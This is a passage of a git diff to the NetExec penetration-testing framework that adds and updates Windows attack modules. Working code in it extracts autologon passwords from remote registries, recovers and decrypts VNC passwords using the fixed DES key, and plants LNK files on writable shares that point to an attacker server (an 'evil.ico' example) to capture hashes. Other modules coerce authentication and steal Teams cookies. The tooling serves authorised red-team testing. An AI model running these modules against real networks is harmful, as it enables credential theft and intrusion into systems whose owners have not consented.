-                wmi_rdp._rdp_WMI__dcom.disconnect()
+                wmi_rdp._RdpWmi__dcom.disconnect()
 
 
 class RdpSmb:
@@ -218,6 +218,7 @@ class RdpWmi:
         self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
         self.__doKerberos = connection.kerberos
         self.__kdcHost = connection.kdcHost
+        self.__remoteHost = connection.host
         self.__aesKey = connection.aesKey
         self.__timeout = timeout
 
@@ -233,11 +234,12 @@ class RdpWmi:
                 oxidResolver=True,
                 doKerberos=self.__doKerberos,
                 kdcHost=self.__kdcHost,
+                remoteHost=self.__remoteHost,
             )
 
             i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
             if self.__currentprotocol == "smb":
-                flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
+                flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
                 if not flag or not self.__stringBinding:
                     error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
 

nxc/modules/reg-winlogon.py

@@ -0,0 +1,46 @@
+from impacket.dcerpc.v5 import rrp
+from impacket.examples.secretsdump import RemoteOperations
+
+class NXCModule:
+    r"""
+    WinLogon AutoLogon: extract the credential from the following registry hive
+    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
+    Module by @pentest_swissky
+    """
+
+    name = "reg-winlogon"
+    description = "Collect autologon credential stored in the registry"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """ """
+
+    def on_admin_login(self, context, connection):
+        remoteOps = RemoteOperations(connection.conn, False)
+        remoteOps.enableRegistry()
+
+        ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
+        regHandle = ans["phKey"]
+        ans = rrp.hBaseRegOpenKey(
+            remoteOps._RemoteOperations__rrp,
+            regHandle,
+            "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
+        )
+        keyHandle = ans["phkResult"]
+        
+        reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
+        for reg_key in reg_keys:
+            try:
+                dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
+                context.log.highlight(f"{reg_key}: {reg_value}")
+            except Exception:
+                context.log.highlight(f"{reg_key}:")
+
+        rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
+        remoteOps.finish()

nxc/modules/runasppl.py

@@ -14,8 +14,8 @@ class NXCModule:
         """"""
 
     def on_admin_login(self, context, connection):
-        command = "reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
-        context.log.display("Executing command")
+        command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
+        context.log.debug(f"Executing command: {command}")
         p = connection.execute(command, True)
         if "The system was unable to find the specified registry key or value" in p:
             context.log.debug("Unable to find RunAsPPL Registry Key")

nxc/modules/schtask_as.py

@@ -4,6 +4,7 @@ from datetime import datetime
 from impacket.dcerpc.v5.dtypes import NULL
 from impacket.dcerpc.v5 import tsch, transport
 from nxc.helpers.misc import gen_random_string
+from nxc.paths import TMP_PATH
 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
 
 
@@ -52,6 +53,7 @@ class NXCModule:
                 self.cmd,
                 connection.kerberos,
                 connection.aesKey,
+                connection.host,
                 connection.kdcHost,
                 connection.hash,
                 self.logger,
@@ -77,7 +79,7 @@ class NXCModule:
 
 
 class TSCH_EXEC:
-    def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
+    def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
         self.__target = target
         self.__username = username
         self.__password = password
@@ -89,6 +91,7 @@ class TSCH_EXEC:
         self.__retOutput = False
         self.__aesKey = aesKey
         self.__doKerberos = doKerberos
+        self.__remoteHost = remoteHost
         self.__kdcHost = kdcHost
         self.__tries = tries
         self.__output_filename = None
@@ -108,6 +111,7 @@ class TSCH_EXEC:
 
         stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
         self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        self.__rpctransport.setRemoteHost(self.__remoteHost)
 
         if hasattr(self.__rpctransport, "set_credentials"):
             # This method exists only for selected protocol sequences.
@@ -252,7 +256,7 @@ class TSCH_EXEC:
             if fileless:
                 while True:
                     try:
-                        with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
+                        with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
                             self.output_callback(output.read())
                         break
                     except OSError:

nxc/modules/scuffy.py

@@ -1,5 +1,6 @@
 import ntpath
 from sys import exit
+from nxc.paths import TMP_PATH
 
 
 class NXCModule:
@@ -44,7 +45,7 @@ class NXCModule:
             exit(1)
 
         self.scf_name = module_options["NAME"]
-        self.scf_path = f"/tmp/{self.scf_name}.scf"
+        self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
         self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
 
         if not self.cleanup:

nxc/modules/shadowcoerce.py

@@ -43,10 +43,11 @@ class NXCModule:
             lmhash=connection.lmhash,
             nthash=connection.nthash,
             aesKey=connection.aesKey,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            target=connection.host if not connection.kerberos else connection.remoteName,
             pipe="FssagentRpc",
             doKerberos=connection.kerberos,
             dcHost=connection.kdcHost,
+            remoteHost=connection.host,
         )
 
         # If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
@@ -61,8 +62,9 @@ class NXCModule:
                 lmhash=connection.lmhash,
                 nthash=connection.nthash,
                 aesKey=connection.aesKey,
-                target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+                target=connection.host if not connection.kerberos else connection.remoteName,
                 pipe="FssagentRpc",
+                remoteHost=connection.host,
             )
 
         if self.ipsc:
@@ -194,6 +196,7 @@ class CoerceAuth:
         pipe,
         doKerberos,
         dcHost,
+        remoteHost,
     ):
         binding_params = {
             "FssagentRpc": {
@@ -202,7 +205,7 @@ class CoerceAuth:
             },
         }
         rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
-        dce = rpctransport.get_dce_rpc()
+        rpctransport.setRemoteHost(remoteHost)
 
         if hasattr(rpctransport, "set_credentials"):
             rpctransport.set_credentials(
@@ -213,7 +216,8 @@ class CoerceAuth:
                 nthash=nthash,
                 aesKey=aesKey,
             )
-
+        
+        dce = rpctransport.get_dce_rpc()
         dce.set_credentials(*rpctransport.get_credentials())
         dce.set_auth_type(RPC_C_AUTHN_WINNT)
         dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

nxc/modules/slinky.py

@@ -1,77 +1,100 @@
 import pylnk3
 import ntpath
 from sys import exit
-
+from nxc.paths import TMP_PATH
 
 class NXCModule:
     """
     Original idea and PoC by Justin Angel (@4rch4ngel86)
     Module by @byt3bl33d3r
+    Updated by @Marshall-Hallenbeck
     """
 
     name = "slinky"
-    description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
+    description = "Creates windows shortcuts with the icon attribute containing a URI to the specified  server (default SMB) in all shares with write permissions"
     supported_protocols = ["smb"]
     opsec_safe = False
     multiple_hosts = True
 
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
+    def __init__(self):
         self.server = None
-        self.file_path = None
-        self.lnk_path = None
+        self.remote_file_path = None
+        self.local_lnk_path = None
         self.lnk_name = None
+        self.ico_uri = None
+        self.shares = None
+        self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
         self.cleanup = None
 
     def options(self, context, module_options):
-        """
-        SERVER        IP of the SMB server
-        NAME          LNK file name
+        r"""
+        SERVER        IP of the listening server (running Responder, etc)
+        NAME          LNK file name written to the share(s)
+        ICO_URI       Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
+        SHARES        Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
+        IGNORE        Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
         CLEANUP       Cleanup (choices: True or False)
         """
         self.cleanup = False
 
         if "CLEANUP" in module_options:
             self.cleanup = bool(module_options["CLEANUP"])
+            context.log.debug("Cleanup set to True")
 
         if "NAME" not in module_options:
             context.log.fail("NAME option is required!")
             exit(1)
+            
+        if "SHARES" in module_options:
+            self.shares = module_options["SHARES"].split(",")
+            context.log.debug(f"Shares to write to: {self.shares}")
+            
+        if "IGNORE" in module_options:
+            self.ignore_shares = module_options["IGNORE"].split(",")
+            context.log.debug(f"Ignoring shares: {self.ignore_shares}")
 
         if not self.cleanup and "SERVER" not in module_options:
             context.log.fail("SERVER option is required!")
             exit(1)
-
+            
+        if "ICO_URI" in module_options:
+            self.ico_uri = module_options["ICO_URI"]
+            context.log.debug("Overriding")
+            
+            
         self.lnk_name = module_options["NAME"]
-        self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
-        self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
+        self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
+        self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
 
         if not self.cleanup:
             self.server = module_options["SERVER"]
-            link = pylnk3.create(self.lnk_path)
-            link.icon = f"\\\\{self.server}\\icons\\icon.ico"
+            link = pylnk3.create(self.local_lnk_path)
+            link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
             link.save()
 
     def on_login(self, context, connection):
         shares = connection.shares()
-        for share in shares:
-            if "WRITE" in share["access"] and share["name"] not in [
-                "C$",
-                "ADMIN$",
-                "NETLOGON",
-            ]:
-                context.log.success(f"Found writable share: {share['name']}")
-                if not self.cleanup:
-                    with open(self.lnk_path, "rb") as lnk:
+        if shares:
+            slinky_logger = context.log.init_log_file()
+            context.log.add_file_log(slinky_logger)
+            
+            for share in shares:
+                if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
+                    if self.shares is not None and share["name"] not in self.shares:
+                        context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
+                        continue
+                    
+                    context.log.success(f"Found writable share: {share['name']}")
+                    if not self.cleanup:
+                        with open(self.local_lnk_path, "rb") as lnk:
+                            try:
+                                connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
+                                context.log.success(f"Created LNK file on the {share['name']} share")
+                            except Exception as e:
+                                context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
+                    else:
                         try:
-                            connection.conn.putFile(share["name"], self.file_path, lnk.read)
-                            context.log.success(f"Created LNK file on the {share['name']} share")
+                            connection.conn.deleteFile(share["name"], self.remote_file_path)
+                            context.log.success(f"Deleted LNK file on the {share['name']} share")
                         except Exception as e:
-                            context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
-                else:
-                    try:
-                        connection.conn.deleteFile(share["name"], self.file_path)
-                        context.log.success(f"Deleted LNK file on the {share['name']} share")
-                    except Exception as e:
-                        context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+                            context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")

nxc/modules/spider_plus.py

@@ -1,8 +1,10 @@
 import json
 import errno
-import os
+from os.path import abspath, join, split, exists, splitext, getsize, sep
+from os import makedirs, remove, stat
 import time
 import traceback
+from nxc.paths import TMP_PATH
 from nxc.protocols.smb.remotefile import RemoteFile
 from impacket.smb3structs import FILE_READ_DATA
 from impacket.smbconnection import SessionError
@@ -36,7 +38,7 @@ def human_time(timestamp):
 def make_dirs(path):
     """Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
     try:
-        os.makedirs(path)
+        makedirs(path)
     except OSError as e:
         if e.errno != errno.EEXIST:
             raise
@@ -170,13 +172,13 @@ class SMBSpiderPlus:
         The folder path and filename are then obtained separately.
         """
         # Remove the backslash before the remote host part and replace slashes with the appropriate path separator
-        remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
+        remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
 
         # Split the path to obtain the folder path and the filename
-        folder, filename = os.path.split(remote_file_path)
+        folder, filename = split(remote_file_path)
 
         # Join the output folder with the folder path to get the final local folder path
-        folder = os.path.join(self.output_folder, folder)
+        folder = join(self.output_folder, folder)
 
         return folder, filename
 
@@ -283,7 +285,7 @@ class SMBSpiderPlus:
             return
 
         # Check file extension filter.
-        _, file_extension = os.path.splitext(file_path)
+        _, file_extension = splitext(file_path)
         if file_extension:
             self.stats["file_exts"].add(file_extension.lower())
             if file_extension.lower() in self.exclude_exts:
@@ -306,10 +308,10 @@ class SMBSpiderPlus:
 
         # Check if the file is already downloaded and up-to-date.
         file_dir, file_name = self.get_file_save_path(remote_file)
-        download_path = os.path.join(file_dir, file_name)
+        download_path = join(file_dir, file_name)
         needs_update_flag = False
-        if os.path.exists(download_path):
-            if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
+        if exists(download_path):
+            if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
                 self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
                 self.stats["num_files_unmodified"] += 1
                 return
@@ -348,7 +350,7 @@ class SMBSpiderPlus:
         remote_file.seek(0, 0)
 
         folder, filename = self.get_file_save_path(remote_file)
-        download_path = os.path.join(folder, filename)
+        download_path = join(folder, filename)
 
         # Create the subdirectories based on the share name and file path.
         self.logger.debug(f"Creating folder '{folder}'")
@@ -365,8 +367,8 @@ class SMBSpiderPlus:
             self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
 
         # Check if the file is empty and should not be.
-        if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
-            os.remove(download_path)
+        if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
+            remove(download_path)
             remote_path = str(remote_file)[2:]
             self.logger.fail(f'Unable to download file "{remote_path}".')
 
@@ -375,7 +377,7 @@ class SMBSpiderPlus:
         
         The results are formatted with indentation and sorted keys before being written to the file.
         """
-        metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
+        metadata_path = join(self.output_folder, f"{self.host}.json")
         try:
             with open(metadata_path, "w", encoding="utf-8") as fd:
                 fd.write(json.dumps(results, indent=4, sort_keys=True))
@@ -498,7 +500,7 @@ class NXCModule:
         self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
         self.exclude_filter = [d.lower() for d in self.exclude_filter]  # force case-insensitive
         self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
-        self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
+        self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
 
     def on_login(self, context, connection):
         context.log.display("Started module spidering_plus with the following options:")

nxc/modules/spooler.py

@@ -7,6 +7,7 @@ from impacket.dcerpc.v5.rpch import (
     RPC_PROXY_CONN_A1_404_ERR,
     RPC_PROXY_RPC_OUT_DATA_404_ERR,
 )
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 
 KNOWN_PROTOCOLS = {
     135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
@@ -47,14 +48,14 @@ class NXCModule:
         context.log.debug(f"StringBinding {self.__stringbinding}")
         rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
         rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
-        rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
+        rpctransport.setRemoteHost(connection.host)
         rpctransport.set_dport(self.port)
 
         if connection.kerberos:
             rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
 
         try:
-            entries = self.__fetch_list(rpctransport)
+            entries = self.__fetch_list(connection.kerberos, rpctransport)
         except Exception as e:
             error_text = f"Protocol failed: {e}"
             context.log.critical(error_text)
@@ -112,8 +113,10 @@ class NXCModule:
         else:
             context.log.debug("[Spooler] No endpoints found")
 
-    def __fetch_list(self, rpctransport):
+    def __fetch_list(self, doKerberos, rpctransport):
         dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
         dce.connect()
         resp = epm.hept_lookup(None, dce=dce)
         dce.disconnect()

nxc/modules/teams_localdb.py

@@ -1,4 +1,6 @@
 import sqlite3
+from nxc.paths import TMP_PATH
+from os.path import abspath, join
 
 
 class NXCModule:
@@ -16,7 +18,7 @@ class NXCModule:
         connection.execute("taskkill /F /T /IM teams.exe")
         found = 0
         paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
-        with open("/tmp/teams_cookies2.txt", "wb") as f:
+        with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
             for path in paths:
                 try:
                     connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
@@ -37,7 +39,7 @@ class NXCModule:
     @staticmethod
     def parse_file(context, name):
         try:
-            conn = sqlite3.connect("/tmp/teams_cookies2.txt")
+            conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
             c = conn.cursor()
             c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
             row = c.fetchone()

nxc/modules/user-desc.py

@@ -37,7 +37,6 @@ class NXCModule:
         """
         self.log_file = None
         self.desc_count = 0
-        self.context = context
         self.account_names = set()
         self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
 
@@ -71,6 +70,7 @@ class NXCModule:
         On successful LDAP login we perform a search for all user objects that have a description.
         Users can specify additional LDAP filters that are applied to the query.
         """
+        self.context = context
         self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
         context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
 

nxc/modules/vnc.py

@@ -0,0 +1,285 @@
+import ntpath
+import tempfile
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target
+
+from impacket.dcerpc.v5 import rrp
+from impacket import winregistry
+from impacket.examples.secretsdump import RemoteOperations
+from impacket.system_errors import ERROR_NO_MORE_ITEMS
+
+from Cryptodome.Cipher import DES
+from binascii import unhexlify
+import codecs
+import re
+
+
+class NXCModule:
+    """
+    Loot VNC Passwords
+    Module by @_zblurx
+    """
+
+    name = "vnc"
+    description = "Loot Passwords from VNC server and client configurations"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.vnc_decryption_key = b"\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0"
+        self.false_positive = (
+            ".",
+            "..",
+            "desktop.ini",
+            "Public",
+            "Default",
+            "Default User",
+            "All Users",
+        )
+
+    def options(self, context, module_options):
+        """NO_REMOTEOPS     Do not use RemoteRegistry. Will not dump RealVNC, ThighVNC and TigerVNC passwords. Default is False"""
+        self.no_remoteops = False
+        if "NO_REMOTEOPS" in module_options and "True" in module_options["NO_REMOTEOPS"]:
+            self.no_remoteops = True
+
+    def on_admin_login(self, context, connection):
+        self.context = context
+        self.connection = connection
+        self.share = self.connection.args.share
+
+        host = connection.hostname + "." + connection.domain
+        domain = connection.domain
+        username = connection.username
+        kerberos = connection.kerberos
+        aesKey = connection.aesKey
+        use_kcache = getattr(connection, "use_kcache", False)
+        password = getattr(connection, "password", "")
+        lmhash = getattr(connection, "lmhash", "")
+        nthash = getattr(connection, "nthash", "")
+
+        target = Target.create(
+            domain=domain,
+            username=username,
+            password=password,
+            target=host,
+            lmhash=lmhash,
+            nthash=nthash,
+            do_kerberos=kerberos,
+            aesKey=aesKey,
+            use_kcache=use_kcache,
+        )
+
+        dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
+        if not self.no_remoteops:
+            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops.enableRegistry()
+            self.vnc_from_registry(remote_ops)
+            self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
+        self.vnc_from_filesystem(dploot_conn)
+
+    def upgrade_connection(self, target: Target, connection=None):
+        conn = DPLootSMBConnection(target)
+        if connection is not None:
+            conn.smb_session = connection
+        else:
+            conn.connect()
+        return conn
+
+    def reg_query_value(self, remote_ops, path, key, hku=False):
+        if remote_ops._RemoteOperations__rrp:
+            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
+            reg_handle = ans["phKey"]
+            ans = rrp.hBaseRegOpenKey(
+                remote_ops._RemoteOperations__rrp,
+                reg_handle,
+                path,
+            )
+            key_handle = ans["phkResult"]
+            data = None
+            try:
+                _, data = rrp.hBaseRegQueryValue(
+                    remote_ops._RemoteOperations__rrp,
+                    key_handle,
+                    key,
+                )
+                return data
+            except rrp.DCERPCSessionError as e:
+                self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
+
+    def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
+        vnc_client_softwares = [
+            ("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
+        ]
+        users = self.get_users(remote_ops)
+        for user, sid in users.items():
+            ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
+            try:
+                ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
+            except Exception as e:
+                self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
+            for vnc_name, registry_path, registry_keys in vnc_client_softwares:
+                cred = {}
+                if ntuser_dat_bytes is None and remote_ops is not None:
+                    user_registry_path = ntpath.join(sid, registry_path)
+                    try:
+                        password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
+                        cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
+                        cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
+                        cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
+                    except Exception as e:
+                        if "ERROR_FILE_NOT_FOUND" not in str(e):
+                            self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
+                        continue
+                else:
+                    fh = tempfile.NamedTemporaryFile()
+                    fh.write(ntuser_dat_bytes)
+                    fh.seek(0)
+                    reg = winregistry.Registry(fh.name, isRemote=False)
+                    parent_key = reg.findKey(registry_path)
+                    if parent_key is None:
+                        continue
+                    cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1")
+                    password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode()
+                    cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
+                    cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
+
+                self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
+
+    def vnc_from_registry(self, remote_ops):
+        vncs = (
+            ("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
+            ("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
+            ("RealVNC 4.x", "SOFTWARE\\RealVNC\\WinVNC4", "Password"),
+            ("TightVNC", "Software\\TightVNC\\Server", "Password"),
+            ("TightVNC ControlPassword", "Software\\TightVNC\\Server", "ControlPassword"),
+            ("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"),
+        )
+        for vnc_name, path, key in vncs:
+            try:
+                value = self.reg_query_value(remote_ops, path, key)
+            except Exception as e:
+                if "ERROR_FILE_NOT_FOUND" not in str(e):
+                    self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
+                continue
+            if value is None:
+                continue
+            value = value.rstrip(b"\x00")
+            password = self.recover_vncpassword(value)
+            if password is None:
+                continue
+            self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
+
+        vnc_users = (
+            ("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
+        )
+        for vnc_name, path, user, password, server in vnc_users:
+            cred = {}
+            try:
+                value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
+                value = unhexlify(value)
+            except Exception as e:
+                if "ERROR_FILE_NOT_FOUND" not in str(e):
+                    self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
+                continue
+            if value is None:
+                continue
+            cred["password"] = self.recover_vncpassword(value).decode()
+            try:
+                cred["server"] = self.reg_query_value(remote_ops, path, server)
+                cred["user"] = self.reg_query_value(remote_ops, path, user)
+            except Exception as e:
+                if "ERROR_FILE_NOT_FOUND" not in str(e):
+                    self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
+                continue
+            self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
+
+    def split_len(self, seq, length):
+        return [seq[i:i + length] for i in range(0, len(seq), length)]
+
+    def recover_vncpassword(self, cipher: bytes):
+        encpasswd = cipher.hex()
+        pwd = None
+        if encpasswd:
+            # If the hex encoded passwd length is longer than 16 hex chars and divisible
+            # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
+            # (1 hex char = 4 binary bits = 1 nibble)
+            hexpasswd = bytes.fromhex(encpasswd)
+            if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
+                splitstr = self.split_len(codecs.encode(cipher, "hex"), 16)
+                cryptedblocks = []
+                for sblock in splitstr:
+                    cryptedblocks.append(self.decrypt_password(codecs.decode(sblock, "hex")))
+                    pwd = b"".join(cryptedblocks)
+            elif len(hexpasswd) <= 16:
+                pwd = self.decrypt_password(cipher)
+            else:
+                pwd = self.decrypt_password(cipher)
+        return pwd
+
+    def decrypt_password(self, password: bytes):
+        length = len(password)
+        try:
+            if length <= 16:
+                password += b"\x00" * (16 - length)
+            cipher = DES.new(key=self.vnc_decryption_key, mode=DES.MODE_ECB)
+            return cipher.decrypt(password)[:length]
+        except Exception as ex:
+            self.context.log.debug(f"Error while decrypting VNC password {password}: {ex}")
+
+    def vnc_from_filesystem(self, dploot_conn):
+        vncs = (
+            ("UltraVNC", "Program Files (x86)\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
+            ("UltraVNC", "Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
+            ("UltraVNC", "Program Files\\UltraVNC\\ultravnc.ini"),
+            ("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
+        )
+
+        for vnc_name, file in vncs:
+            file_content = dploot_conn.readFile(self.share, file)
+            if file_content is not None:
+                regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
+                for regex in regex_passwd:
+                    passwds_encrypted = re.findall(regex, file_content)
+                    for passwd_encrypted in passwds_encrypted:
+                        passwd_encrypted = passwd_encrypted.split(b"=")[-1]
+                        password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
+                        self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
+
+    def get_users(self, conn):
+        users = {}
+        userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
+
+        ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
+        regHandle = ans["phKey"]
+
+        ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
+        keyHandle = ans["phkResult"]
+
+        sids = []
+
+        i = 0
+        while True:
+            try:
+                ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
+                sids.append(ans2["lpNameOut"])
+            except rrp.DCERPCSessionError as e:
+                if e.get_error_code() == ERROR_NO_MORE_ITEMS:
+                    break
+            except Exception as e:
+                self.context.debug(f"Error while listing users from HKU: {e}")
+            i += 1
+        rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
+        for sid in sids:
+            ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
+            keyHandle = ans["phkResult"]
+            _, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
+            if r"%systemroot%" in profile_path:
+                continue
+            users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
+            rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
+
+        return users

nxc/modules/wcc.py

